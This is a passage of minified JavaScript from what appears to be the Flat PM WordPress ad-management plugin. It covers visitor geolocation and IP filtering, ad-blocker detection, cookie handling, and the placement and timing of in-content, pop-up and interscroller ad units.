window.BigInt&&BigInt(t.join(""),2)):(e.split(".").forEach(function(e){t.push(e.padStart(3,"0"))}),parseInt(t.join("")))},window.fpm_request_ip_api=function(){var e=new Promise(function(e,t){var n=new XMLHttpRequest;n.onreadystatechange=function(){n.readyState==XMLHttpRequest.DONE&&e(n.responseText)},n.open("GET","https://pro.ip-api.com/json/?key="+atob(fpm_settings.key)+"&lang="+fpm_settings.locale,!0),n.send()}),t=new Promise(function(e,t){var n=new XMLHttpRequest;n.onreadystatechange=function(){n.readyState==XMLHttpRequest.DONE&&(200==n.status?e(n.responseText):t({url:fpm_settings.ip_to_block,status:n.status,statusText:n.statusText}))},n.open("GET",fpm_settings.ip_to_block,!0),n.send()});Promise.all([e,t]).then(function(e){var t=JSON.parse(e[0]),n=e[1].split("\n").filter(Boolean);fpm_body.classList.remove("fpm_geo"),fpm_user.ccode=t.countryCode.toLowerCase(),fpm_user.country=t.country.toLowerCase(),fpm_user.city=t.city.toLowerCase(),fpm_user.isp=t.isp.toLowerCase(),fpm_setCookie("fpm_ccode",fpm_user.ccode),fpm_setCookie("fpm_country",fpm_user.country),fpm_setCookie("fpm_city",fpm_user.city),fpm_setCookie("fpm_isp",fpm_user.isp),fpm_user.ip="true",0<n.length?new Promise(function(e,t){var n=new XMLHttpRequest;n.onreadystatechange=function(){n.readyState==XMLHttpRequest.DONE&&(200==n.status?e(n.responseText):t({url:fpm_settings.get_ip,status:n.status,statusText:n.statusText}))},n.open("GET",fpm_settings.get_ip,!0),n.send()}).then(function(r){r=fpm_ipToInt(r),n.find(function(e){if(e.includes("-")){var t=e.split("-"),n=fpm_ipToInt(t[0].trim()),t=fpm_ipToInt(t[1].trim());if(r<=t&&n<=r)return fpm_user.ip="false",!0}else if(fpm_ipToInt(e.trim())==r)return fpm_user.ip="false",!0;return!1}),fpm_user.testcook&&fpm_setCookie("fpm_ip",fpm_user.ip),fpm_async_then("ip_api")}):(fpm_user.testcook&&fpm_setCookie("fpm_ip",fpm_user.ip),fpm_async_then("ip_api"))})},window.fpm_on=function(e,t,n,r,o){o=o||!1,e.addEventListener(t,function(e){for(var t=e.target;t&&t!==this;)t.matches(n)&&r.call(t,e),t=t.parentNode},{once:o})},window.fpm_contentsUnwrap=function(e){for(var t=e.parentNode;e.firstChild;)t.insertBefore(e.firstChild,e);t.removeChild(e)},window.fpm_wrap=function(e,t){e.parentNode.insertBefore(t,e),t.appendChild(e)},window.fpm_until=function(e,t,n,r){r=r||"nextElementSibling";var o=[];if(!e)return o;for(o.push(e),e=e[r];e&&(o.push(e),!e.matches(t));)e=(n&&e.matches(n),e[r]);return o},window.fpm_findSelector=function(e,t){var n=[];return t&&(e=e||[]).forEach(function(e){e.matches(t)&&n.push(e);e=e.querySelectorAll(t);e&&0<e.length&&(n=n.concat([...e]))}),n},window.fpm_toNodeList=function(e){var t=document.createDocumentFragment();return e.forEach(function(e){t.appendChild(e.cloneNode())}),t},window.fpm_jsonp=function(e,t){var n="jsonp_callback_"+Math.round(1e5*Math.random());window[n]=function(e){delete window[n],fpm_body.removeChild(r),t(e)};var r=document.createElement("script");r.src=e+(0<=e.indexOf("?")?"&":"?")+"callback="+n,fpm_body.appendChild(r)},window.flatPM_serialize=function(e,t){var n,r,o,i=[];for(n in e)e.hasOwnProperty(n)&&(r=t?t+"["+n+"]":n,o=e[n],i.push(null!==o&&"object"==typeof o?flatPM_serialize(o,r):encodeURIComponent(r)+"="+encodeURIComponent(o)));return i.join("&")},document.write=function(e){var t=document.createElement("div");document.currentScript.insertAdjacentElement("afterend",t),fpm_setHTML(t,e),fpm_stack_scripts.block||(fpm_stack_scripts.block=!0,fpm_setSCRIPT()),fpm_contentsUnwrap(t)},window.fpm_sticky=function(e,a,t){var s=e,l=null,d=t=t||0;function n(){if(null==l){for(var e=getComputedStyle(s,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(l=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+s.offsetWidth+"px;",s.insertBefore(l,s.firstChild);for(var r=s.childNodes.length,n=1;n<r;n++)l.appendChild(s.childNodes[1]);s.style.padding="0",s.style.border="0"}s.style.height=l.getBoundingClientRect().height+"px";var o=s.getBoundingClientRect(),i=Math.round(o.top+l.getBoundingClientRect().height-a.getBoundingClientRect().bottom);o.top-d<=0?o.top-d<=i?(l.className=fpm_attr.stop,l.style.top=-i+"px"):(l.className=fpm_attr.fixed,l.style.top=d+"px"):(l.className="",l.style.top=""),window.addEventListener("resize",function(){s.children[0].style.width=getComputedStyle(s,"").width},!1)}window.addEventListener("scroll",n,!1),fpm_body.addEventListener("scroll",n,!1),n()},window.fpm_addDays=function(e,t){var n=60*e.getTimezoneOffset()*1e3,r=e.getTime(),e=new Date;return r+=864e5*t,e.setTime(r),n!=(t=60*e.getTimezoneOffset()*1e3)&&(r+=t-n,e.setTime(r)),e},window.fpm_adbDetect=function(){var e=document.createElement("div");e.id="yandex_rtb_",e.classList.add("adsbygoogle"),e.setAttribute("data-tag","flat_pm"),e.style="position:absolute;left:-9999px;top:-9999px",e.innerHTML="Adblock<br>detector",fpm_body.insertAdjacentElement("afterbegin",e);var t=document.querySelector('#yandex_rtb_.adsbygoogle[data-tag="flat_pm"]');if(!t)return!0;t=t.currentStyle||window.getComputedStyle(t,""),t=parseInt(t.height);return e.remove(),!(!isNaN(t)&&0!=t)},window.fpm_setCookie=function(e,t,n){var r,o=(n=n||{path:"/"}).expires;"number"==typeof o&&o&&((r=new Date).setTime(r.getTime()+1e3*o),o=n.expires=r),o&&o.toUTCString&&(n.expires=o.toUTCString());var i,a=e+"="+(t=encodeURIComponent(t));for(i in n){a+="; "+i;var s=n[i];!0!==s&&(a+="="+s)}document.cookie=a},window.fpm_getCookie=function(n){var e=document.cookie.split("; ").reduce(function(e,t){t=t.split("=");return t[0]===n?decodeURIComponent(t[1]):e},"");return""!=e?e:void 0},window.flatPM_testCookie=function(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}},window.fpm_randomString=function(e){for(var t="",n="abcdefghijklmnopqrstuvwxyz",r=n.length,o=0;o<e;o++)t+=n.charAt(Math.floor(Math.random()*r));return t},window.fpm_randomProperty=function(e){e=Object.keys(e);return e[Math.floor(Math.random()*e.length)]},window.fpm_random=function(e,t){return Math.floor(Math.random()*(t-e+1))+e},window.flatPM_sanitizeUrlParams=function(e){return e&&["__proto__","constructor","prototype"].includes(e.toLowerCase())?e.toUpperCase():e},window.fpm_getUrlParams=function(e){var t={};e=e||window.location.href;e=(e=flatPM_sanitizeUrlParams(e))?e.split("?")[1]:window.location.search.slice(1);if(e)for(var n=(e=e.split("#")[0]).split("&"),r=0;r<n.length;r++){var o,i=n[r].split("="),a=i[0],s=void 0===i[1]||i[1],a=a.toLowerCase();"string"==typeof s&&(s=s.toLowerCase()),a.match(/\[(\d+)?\]$/)?(t[o=a.replace(/\[(\d+)?\]/,"")]||(t[o]=[]),a.match(/\[\d+\]$/)?(i=/\[(\d+)\]/.exec(a)[1],t[o][i]=s):t[o].push(s)):t[a]?(t[a]&&"string"==typeof t[a]&&(t[a]=[t[a]]),t[a].push(s)):t[a]=s}return t},window.fpm_dynamicInterval=function(e,t,n,r,o){t.autorefresh&&"0"!==t.autorefresh&&setTimeout(function(){e.innerHTML="",r<=++o&&(o=0),t=n[o],fpm_pre_setHTML(e,t.code),fpm_dynamicInterval(e,t,n,r,o)},1e3*t.autorefresh)},flatPM_testCookie()&&fpm_setCookie("fpm_visit",(parseInt(fpm_getCookie("fpm_visit"))||0)+1),window.fpm_stack_scripts={scripts:[],block:!1},window.fpm_base64test=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,window.fpm_then={ip_api:[],load:[]},window.fpm_titles="h1,h2,h3,h4,h5,h6",window.fpm_date=new Date,window.fpm_dateYear=fpm_date.getFullYear(),window.fpm_dateMonth=2==(fpm_date.getMonth()+1+"").length?fpm_date.getMonth()+1:"0"+(fpm_date.getMonth()+1),window.fpm_dateWeek=0===fpm_date.getDay()?6:fpm_date.getDay()-1,window.fpm_dateUTCWeek=0===fpm_date.getUTCDay()?6:fpm_date.getUTCDay()-1,window.fpm_dateDay=2==(fpm_date.getDate()+"").length?fpm_date.getDate():"0"+fpm_date.getDate(),window.fpm_dateHours=2==(fpm_date.getHours()+"").length?fpm_date.getHours():"0"+fpm_date.getHours(),window.fpm_dateUTCHours=fpm_date.getUTCHours(),window.fpm_dateMinutes=2==(fpm_date.getMinutes()+"").length?fpm_date.getMinutes():"0"+fpm_date.getMinutes();var prop,fpm_modul=fpm_queryAll("noscript#fpm_modul"),fpm_modul_text="";for(prop in 0<fpm_modul.length&&(fpm_modul_text=fpm_modul[0].outerText,fpm_modul[0].remove()),window.fpm_attr={id:"",type:"",inner:"",status:"",async:"",modal:"",overlay:"",timer:"",cross:"",out:"",fixed:"",stop:"",preroll:"",hoverroll:"",show:"",hide:"",done:"",slider:"",timeline:"",interscroller:""},fpm_modul_text=(fpm_modul_text=fpm_modul_text.replace("<style>","")).replace("</style>",""),fpm_attr){fpm_attr[prop]=fpm_randomString(10);var regex=new RegExp("fpm-"+prop,"g"),fpm_modul_text=fpm_modul_text.replace(regex,fpm_attr[prop])}document.head.insertAdjacentHTML("beforeend","<style>"+fpm_modul_text+"</style>"),window.fpm_user={init:function(){window.fpm_body=window.fpm_body||document.querySelector("body"),this.fpm_end=document.querySelectorAll(".fpm_end"),this.fpm_end=this.fpm_end[this.fpm_end.length-1],this.fpm_start=document.querySelector(".fpm_start"),this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=fpm_dateYear+"-"+fpm_dateMonth+"-"+fpm_dateDay,this.time=fpm_dateHours+":"+fpm_dateMinutes,this.adb=fpm_adbDetect(),this.until=fpm_until(this.fpm_start,".fpm_end"),this.textlen=this.until.map(function(e){return e.outerText}).join().replace(/(\s)+/g,"").length,this.titlelen=fpm_toNodeList(this.until).querySelectorAll(fpm_titles).length,this.country=this.cookieData("country").toLowerCase(),this.city=this.cookieData("city").toLowerCase(),this.ccode=this.cookieData("ccode").toLowerCase(),this.isp=this.cookieData("isp").toLowerCase(),this.ip=this.cookieData("ip").toLowerCase(),this.agent=navigator.userAgent,this.language=navigator.languages&&navigator.languages.length?navigator.languages[0]:navigator.userLanguage||navigator.language,this.until_child=this.until.map(function(e){return[e,Array.from(e.querySelectorAll("*"))]}).flat(1/0),this.debug=fpm_getUrlParams()["fpm-debug"],this.color_scheme=window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"},cookieReferer:function(){return parent!==window?"///:iframe":fpm_user.testcook?(void 0===fpm_getCookie("fpm_referer")&&fpm_setCookie("fpm_referer",""!=document.referrer?document.referrer:"///:direct"),fpm_getCookie("fpm_referer")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(e){return fpm_user.testcook&&void 0!==fpm_getCookie("fpm_"+e)?fpm_getCookie("fpm_"+e):""},searchString:function(e){for(var t=e.length,n=0;n<t;n++){var r=e[n].str;if(r&&e[n].subStr.test(r))return e[n].id}},dataBrowser:[{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]},window.fpm_offsetTop_with_exeptions=function(r,o){return r=r||"",o=o||"",window.exeptions_offsetTop=window.exeptions_offsetTop||[],window.exeptions_offsetTop[r]||(window.exeptions_offsetTop[r]=fpm_user.until.map(function(e){var t=Array.from(e.querySelectorAll("*")),n=[];return""!=r&&(n=fpm_queryAll(r,o,"false"),t=t.filter(function(e){return!n.includes(e)})),[e,t]}).flat(1/0).map(function(e){return{el:e,offset:Math.round(e.getBoundingClientRect().top-fpm_user.fpm_start.getBoundingClientRect().top)}}),window.exeptions_offsetTop[r])},window.fpm_textLength_with_exeptions=function(i,a){if(i=i||"",a=a||"",window.exeptions_textLength=window.exeptions_textLength||[],window.exeptions_textLength[i])return window.exeptions_textLength[i];var s=0;return window.exeptions_textLength[i]=fpm_user.until.map(function(e){if("SCRIPT"==e.tagName)return[];var t=Array.from(e.querySelectorAll("*")),n=[];""!=i&&(n=fpm_queryAll(i,a,"false"),t=t.filter(function(e){return!n.includes(e)}));var r=0,o=e.outerText.replace(/(\s)+/g,"").length;return 0<t.length&&t.forEach(function(e){var t;void 0!==e.outerText&&"SCRIPT"!=e.tagName&&(t=e.outerText.replace(/(\s)+/g,"").length,r+=t,s+=t),e.fpm_textLength=s}),s+=o-r,e.fpm_textLength=s,[e,t]}).flat(1/0),window.exeptions_textLength[i]},void 0!==fpm_getUrlParams().utm_referrer&&(fpm_setCookie("fpm_referer",fpm_getUrlParams().utm_referrer),fpm_user.referer=fpm_getUrlParams().utm_referrer),window.fpm_async_then=function(e){var t=fpm_then[e].length;if(0!=t)for(var n=0;n<t;n++){var r=fpm_then[e][n];fpm_next(r)}else fpm_then[e]=[]},window.flatPM_persentWrapper=function(e,n,t){var r=0,o=!1;return e.forEach(function(e){var t=e.outerText.replace(/(\s)+/g,"");r<n&&(r+=t.length,o=e)}),o},window.fpm_textLength_between=function(e,t,n){var r=e,o=0,i=e.outerText.length,a="data-"+fpm_attr.id;(n=n||!1)&&(o=e.outerText.length,i=0);e:do{for(var s=e;null!==s.previousElementSibling;){if((s=s.previousElementSibling).hasAttribute(a))break e;if(s.previousElementSibling===fpm_user.fpm_start){o=1e8;break e}if(0<(l=s.querySelectorAll("[data-"+fpm_attr.id+"]")).length){l=l[l.length-1];do{for(;null!==l.nextElementSibling;)o+=(l=l.nextElementSibling).outerText.length}while((l=l.parentNode)!==s);break}if(t<=(o+=s.outerText.length))break e}}while(e=e.parentNode,e!==fpm_user.fpm_start.parentNode);e=r;e:do{for(var l,s=e;null!==s.nextElementSibling;){if((s=s.nextElementSibling).hasAttribute(a))break e;if(s.nextElementSibling===fpm_user.fpm_end){i=1e8;break e}if(0<(l=s.querySelectorAll("[data-"+fpm_attr.id+"]")).length){l=l[0];do{for(;null!==l.previousElementSibling;)i+=(l=l.previousElementSibling).outerText.length}while((l=l.parentNode)!==s);break}if(t<=(i+=s.outerText.length))break e}}while(e=e.parentNode,e!==fpm_user.fpm_start.parentNode);return t<=o&&t<=i},window.fpm_interscroller_resize=function(){document.querySelectorAll("."+fpm_attr.interscroller+"-inner").forEach(function(e){e.style.setProperty("--width",e.parentNode.getBoundingClientRect().width+"px")})},window.addEventListener("resize",fpm_interscroller_resize),window.fpm_getScrollbarWidth=function(){var e=document.createElement("div");e.style.visibility="hidden",e.style.overflow="scroll",e.style.msOverflowStyle="scrollbar",document.body.appendChild(e);var t=document.createElement("div");e.appendChild(t);t=e.offsetWidth-t.offsetWidth;return e.parentNode.removeChild(e),t},window.fpm_interscrollerObserver=function(e,t){t=t||3;var n,r=parseInt(window.getComputedStyle(document.body,null).getPropertyValue("padding-right")),o=e.querySelectorAll("span.timer");function i(){return 85<100/window.innerHeight*e.getBoundingClientRect().height?e.getBoundingClientRect().bottom-document.querySelector("html").getBoundingClientRect().top-window.innerHeight:e.getBoundingClientRect().bottom-document.querySelector("html").getBoundingClientRect().top+(window.innerHeight-e.getBoundingClientRect().height)/2-window.innerHeight}document.body.style.overflow="hidden",document.body.style.paddingRight=r+fpm_getScrollbarWidth()+"px",window.scrollTo({top:i(),left:0,behavior:"smooth"}),n=setInterval(function(){window.scrollTo({top:i(),left:0,behavior:"smooth"})},100);var a=setInterval(function(){t--,o.forEach(function(e){e.innerHTML=t}),t<=0&&(document.body.style.overflow="auto",document.body.style.paddingRight=r+"px",o.forEach(function(e){e.remove()}),clearInterval(n),clearInterval(a))},1e3)},window.fpm_render_pixel_ads=function(e,t){t.xpath=t.xpath||"";var n,r,o,i,a=fpm_user.fpm_end.getBoundingClientRect().top-fpm_user.fpm_start.getBoundingClientRect().top,s=fpm_offsetTop_with_exeptions(t.exclude,t.xpath);if((t.n=t.n&&0!=t.n?t.n:1,["percent_once","px_once","center"].includes(t.type)&&("percent_once"===t.type&&(r=Math.round(window.innerHeight/100*t.n)),"px_once"===t.type&&(r=+t.n),"center"===t.type&&(r=a/2),r<(i=200+a)&&(p=[...s].sort((e,t)=>Math.abs(r-e.offset)-Math.abs(r-t.offset)),o=s.find(function(e){return e.offset===p[0].offset}).el,t.m?(t.m=+t.m,fpm_textLength_between(o,t.m)&&o.insertAdjacentElement("beforebegin",e)):o.insertAdjacentElement("beforebegin",e))),["percent_iterable","px_iterable"].includes(t.type))&&("percent_iterable"===t.type&&(r=Math.round(window.innerHeight/100*t.n),n=t.start?Math.round(window.innerHeight/100*t.start):r),"px_iterable"===t.type&&(r=+t.n,n=t.start?+t.start:r),r<(i=200+a))){var l=i;t.max&&(l=Math.min(i,r*t.max+n));for(var d=n;d<l;){var p=[...s].sort((e,t)=>Math.abs(d-e.offset)-Math.abs(d-t.offset));o=s.find(function(e){return e.offset===p[0].offset}).el,t.m?(t.m=+t.m,fpm_textLength_between(o,t.m)&&o.insertAdjacentElement("beforebegin",e.cloneNode())):o.insertAdjacentElement("beforebegin",e.cloneNode()),d+=r}}},window.fpm_cross_timer=function(t,n,r){var e,o,i,a,s=null!==r.querySelector("."+fpm_attr.cross),l=null!==r.querySelector("."+fpm_attr.timer);"true"===n.cross&&((e=document.createElement("div")).classList.add(fpm_attr.cross),e.addEventListener("click",function(e){e.preventDefault(),fpm_close_event(t,n,r),r.classList.add(fpm_attr.hide),fpm_setCookie("fpm_outgoing_"+t.id,"true")})),n.timeout=parseInt(n.timeout)||0,"true"===n.timer&&0<n.timeout?((o=document.createElement("div")).classList.add(fpm_attr.timer),o.innerHTML=fpm_settings.timer_text+" <span>"+n.timeout+"</span>",i=o.querySelector("span"),l||r.appendChild(o),a=setInterval(function(){i.innerHTML=--n.timeout,n.timeout<=0&&(clearInterval(a),o.remove(),"true"===n.cross?s||r.appendChild(e):(fpm_close_event(t,n,r),r.classList.add(fpm_attr.hide)))},1e3)):"true"!==n.cross||s||r.appendChild(e)},window.fpm_close_event=function(e,t,n){n.classList.remove(fpm_attr.show),n.classList.contains("center")||setTimeout(function(){n.remove()},+fpm_settings.speed+100),t.again&&"true"===t.again&&(window.fpm_outgoing_counter=window.fpm_outgoing_counter||[],window.fpm_outgoing_counter[e.id]=window.fpm_outgoing_counter[e.id]||0,(!t.count||window.fpm_outgoing_counter[e.id]<t.count)&&setTimeout(function(){delete e.view.pixels,delete e.view.symbols,delete e.view.once,delete e.view.iterable,delete e.view.preroll,delete e.view.hoverroll,fpm_setWrap(e,!0),fpm_next(e)},t.interval?1e3*t.interval:0),window.fpm_outgoing_counter[e.id]++)},window.fpm_setWrap=function(a,e){e=e||!1;try{if(!e){var t,n,r=[],o=a.html.block,i=0,s=[];for(t in o)if((!o[t].minwidth||o[t].minwidth<=fpm_user.winwidth)&&(!o[t].maxwidth||o[t].maxwidth>=fpm_user.winwidth)){o[t].abgroup||(o[t].abgroup="0"),r[o[t].abgroup]||(r[o[t].abgroup]=[]);var l,d=fpm_user.adb&&(""!==o[t].adb.code||"true"!==fpm_settings.dublicate&&"footer"!==a.id&&"header"!==a.id)?o[t].adb:o[t].html;for(l in fpm_base64test.test(d.code)&&(d.code=decodeURIComponent(escape(atob(d.code)))),d.code=d.code.trim(),fpm_attr){var p=new RegExp("fpm-"+l,"g");fpm_modul_text=fpm_modul_text.replace(p,fpm_attr[l])}d.code&&r[o[t].abgroup].push(d)}for(n in r)0==r[n].length&&delete r[n];if(0==Object.keys(r).length)return void fpm_debug(a.id,"screen resolution");for(n in delete a.html.block,r)if("0"===n)for(var f in r[n])r[n][f].minheight&&(i+=+r[n][f].minheight);else s[n]=fpm_randomProperty(r[n]),i+=+r[n][s[n]].minheight;a.html.groups=r,a.html.start=s}var m=document.createElement("div");(a.user.geo||a.user.ip||a.user.isp)&&m.classList.add(fpm_attr.async),m.setAttribute("data-"+fpm_attr.id,a.id),m.setAttribute("data-"+fpm_attr.status,"processing"),m.style.minHeight=i+"px";var c=a.view.pixels;c&&null!==fpm_user.fpm_end&&null!==fpm_user.fpm_start&&((x=m.cloneNode()).setAttribute("data-"+fpm_attr.type,"pixels"),"processing"==document.readyState?document.addEventListener("load",function(){fpm_then.load.push(a),fpm_render_pixel_ads(x,c),fpm_async_then("load")}):fpm_render_pixel_ads(x,c));var u=a.view.symbols;if(u&&null!==fpm_user.fpm_end&&null!==fpm_user.fpm_start){(x=m.cloneNode()).setAttribute("data-"+fpm_attr.type,"symbols"),u.xpath=u.xpath||"";var _,h,g=fpm_textLength_with_exeptions(u.exclude,u.xpath);if(u.n=u.n&&0!=u.n?u.n:1,["percent_once","symbol_once","center"].includes(u.type)&&("percent_once"===u.type&&(_=Math.round(fpm_user.textlen/100*u.n)),"symbol_once"===u.type&&(_=+u.n),"center"===u.type&&(_=fpm_user.textlen/2),w=fpm_user.textlen+100,_<w?(y=[...g].sort((e,t)=>Math.abs(_-e.fpm_textLength)-Math.abs(_-t.fpm_textLength)),h=g.find(function(e){return e.fpm_textLength===y[0].fpm_textLength}),u.m?(u.m=+u.m,fpm_textLength_between(h,u.m,!0)&&h.insertAdjacentElement("afterend",x)):h.insertAdjacentElement("afterend",x)):fpm_debug(a.id,"symbols offset")),["percent_iterable","symbol_iterable"].includes(u.type)){"percent_iterable"===u.type&&(_=Math.round(fpm_user.textlen/100*u.n),s=u.start?Math.round(fpm_user.textlen/100*u.start):_),"symbol_iterable"===u.type&&(_=+u.n,s=u.start?+u.start:_);var w=fpm_user.textlen+100;if(_<w){var v=w;u.max&&(v=Math.min(w,_*u.max+s));for(var b=s;b<v;){var y=[...g].sort((e,t)=>Math.abs(b-e.fpm_textLength)-Math.abs(b-t.fpm_textLength));h=g.find(function(e){return e.fpm_textLength===y[0].fpm_textLength}),u.m?(u.m=+u.m,fpm_textLength_between(h,u.m,!0)&&h.insertAdjacentElement("afterend",x.cloneNode())):h.insertAdjacentElement("afterend",x.cloneNode()),b+=_}}else fpm_debug(a.id,"symbols offset")}}w=a.view.once;w&&((x=m.cloneNode()).setAttribute("data-"+fpm_attr.type,"once"),C=fpm_queryAll(w.selector,w.xpath,w.document),w.n=+w.n||1,C.length>=w.n?("bottom"===w.derection&&C.reverse(),E="beforebegin","prepend"===w.insert_type&&(E="afterbegin"),"append"===w.insert_type&&(E="beforeend"),"after"===w.insert_type&&(E="afterend"),C[w.n-1].insertAdjacentElement(E,x)):fpm_debug(a.id,"once can't find element"));var x,L=a.view.iterable;if(L){(x=m.cloneNode()).setAttribute("data-"+fpm_attr.type,"iterable");var C=fpm_queryAll(L.selector,L.xpath,L.document);if(L.n=+L.n||1,L.start=+L.start||L.n,C.length>=L.n+L.start-1){"bottom"===L.derection&&C.reverse();var E="beforebegin";"prepend"===L.insert_type&&(E="afterbegin"),"append"===L.insert_type&&(E="beforeend"),"after"===L.insert_type&&(E="afterend");v=C.length;L.max&&(v=Math.min(C.length,L.n*L.max+L.start-L.n));for(b=L.start-1;b<v;b++)(b+1-L.start+L.n)%L.n==0&&C[b].insertAdjacentElement(E,x.cloneNode())}else fpm_debug(a.id,"iterable can't find element")}var T=a.view.outgoing;T&&("true"===T.cookie||"true"!==fpm_getCookie("fpm_outgoing_"+a.id)?((N=m.cloneNode()).setAttribute("data-"+fpm_attr.type,"outgoing"),N.classList.add(T.side),"sec"==T.type&&(A=function(){"true"===T.close&&(document.removeEventListener("visibilitychange",P),fpm_body.removeEventListener("mouseleave",P)),N.classList.add(fpm_attr.show),fpm_cross_timer(a,{...T},N),T.hide&&setTimeout(function(){fpm_close_event(a,T,N)},1e3*T.hide)},I=setTimeout(function(){A()},1e3*T.show)),["px","vh","%"].includes(T.type)&&(H=function(){("px"===T.type&&window.pageYOffset>T.show||"vh"===T.type&&window.pageYOffset>Math.round(window.innerHeight/100*T.show)||"%"===T.type&&window.pageYOffset>Math.round((fpm_body.scrollHeight-window.innerHeight)/100*T.show))&&O()},document.addEventListener("scroll",H)),"true"===T.close&&(P=function(e){("visibilitychange"===e.type&&document.hidden||"mouseleave"===e.type)&&(document.removeEventListener("visibilitychange",P),fpm_body.removeEventListener("mouseleave",P),"sec"==T.type&&(clearTimeout(I),A()),"px"==T.type&&O())},document.addEventListener("visibilitychange",P),fpm_body.addEventListener("mouseleave",P)),"true"===T.action&&T.selector&&fpm_on(fpm_body,"click",T.selector,function(e){"true"===T.close&&(document.removeEventListener("visibilitychange",P),fpm_body.removeEventListener("mouseleave",P)),"sec"==T.type&&(clearTimeout(I),A()),"px"==T.type&&O()}),fpm_body.insertAdjacentElement("afterbegin",N)):fpm_debug(a.id,"outgoing already displayed for this user"));var k=a.view.preroll;k&&(0<(S=fpm_queryAll(k.selector,k.xpath,"true")).length?S.forEach(function(e){var t,n,r,o,i;e.classList.contains(fpm_attr.done)||(e.classList.add(fpm_attr.done),t=document.createElement("span"),n=t.cloneNode(),r=t.cloneNode(),o=t.cloneNode(),t.classList.add(fpm_attr.preroll),(e.matches("iframe")||0<e.querySelectorAll("iframe").length)&&t.classList.add("hasIframe"),fpm_wrap(e,t),n.classList.add(fpm_attr.preroll+"_flex"),r.classList.add(fpm_attr.preroll+"_item"),o.classList.add(fpm_attr.preroll+"_hover"),r.appendChild(m.cloneNode()),n.appendChild(r),n.appendChild(o),t.appendChild(n),i=function(e){e.preventDefault(),fpm_cross_timer(a,{...k},n),n.classList.add(fpm_attr.show),o.removeEventListener("click",i),"true"===k.once&&document.querySelectorAll("."+fpm_attr.preroll+"_flex:not(."+fpm_attr.show+")").forEach(function(e){e.remove()})},o.addEventListener("click",i))}):fpm_debug(a.id,"preroll can't find element"));var M=a.view.hoverroll;M&&(0<(S=fpm_queryAll(M.selector,M.xpath,"true")).length?S.forEach(function(e){var t,n;e.classList.contains(fpm_attr.done)||(e.classList.add(fpm_attr.done),n=(t=document.createElement("span")).cloneNode(),t.classList.add(fpm_attr.hoverroll),fpm_wrap(e,t),n.classList.add(fpm_attr.hoverroll+"_item"),n.appendChild(m.cloneNode()),t.appendChild(n),"true"===M.cross&&fpm_cross_timer(a,{...M},n))}):fpm_debug(a.id,"hoverroll can't find element")),document.querySelectorAll(".fpm-short-"+a.id).forEach(function(e){var t=m.cloneNode();t.setAttribute("data-"+fpm_attr.type,"shortcode"),e.insertAdjacentElement("beforebegin",t),e.remove()})}catch(e){console.warn(e)}var S,A,I,H,P,N;function O(){var e;document.removeEventListener("scroll",H),"true"===T.close&&(document.removeEventListener("visibilitychange",P),fpm_body.removeEventListener("mouseleave",P)),N.classList.add(fpm_attr.show),fpm_cross_timer(a,{...T},N),T.hide&&(e=function(){window.pageYOffset>T.hide&&(fpm_close_event(a,T,N),document.removeEventListener("scroll",e))},document.addEventListener("scroll",e))}},window.fpm_afterObserver=function(i,a){var s,e=a.getAttribute("data-"+fpm_attr.type),t=getComputedStyle(a,"").minHeight,l=!1;for(s in i.groups){var d=i.groups[s];if("0"===s)for(var n in d)!function(){var e=d[n],t=document.createElement("div");t.classList.add(fpm_attr.inner),a.insertAdjacentElement("beforeend",t),e.timeout||e.autorefresh?(l=!0,setTimeout(function(){fpm_pre_setHTML(t,e.code),e.autorefresh&&"0"!==e.autorefresh&&setInterval(function(){t.innerHTML="",fpm_pre_setHTML(t,e.code)},1e3*e.autorefresh)},e.timeout?1e3*e.timeout:0)):(fpm_pre_setHTML(t,e.code),fpm_contentsUnwrap(t))}();else!function(){var e=+i.start[s],t=d,n=t.length,r=t[e],o=document.createElement("div");r.timeout&&r.timeout,o.classList.add(fpm_attr.inner),a.insertAdjacentElement("beforeend",o),r.timeout||r.autorefresh?(l=!0,setTimeout(function(){fpm_pre_setHTML(o,r.code),fpm_dynamicInterval(o,r,t,n,e)},r.timeout?1e3*r.timeout:0)):(fpm_pre_setHTML(o,r.code),fpm_contentsUnwrap(o))}()}!l&&["pixels","symbols","once","iterable"].includes(e)&&"0px"==t&&fpm_contentsUnwrap(a)},window.fpm_next=function(e){var t=fpm_queryAll("[data-"+fpm_attr.id+'="'+e.id+'"][data-'+fpm_attr.status+'="processing"]');if(0!==t.length)try{if(e.user.ip&&"false"===fpm_user.ip)return t.forEach(function(e){e.remove()}),void fpm_debug(e.id,"ip");var n=e.user.isp;if(n&&(n.allow=n.allow.filter(Boolean))&&(n.disallow=n.disallow.filter(Boolean))&&(0<n.allow.length&&-1==n.allow.findIndex(function(e){return-1!=fpm_user.isp.indexOf(e)})||0<n.disallow.length&&-1!=n.disallow.findIndex(function(e){return-1!=fpm_user.isp.indexOf(e)})))return t.forEach(function(e){e.remove()}),void 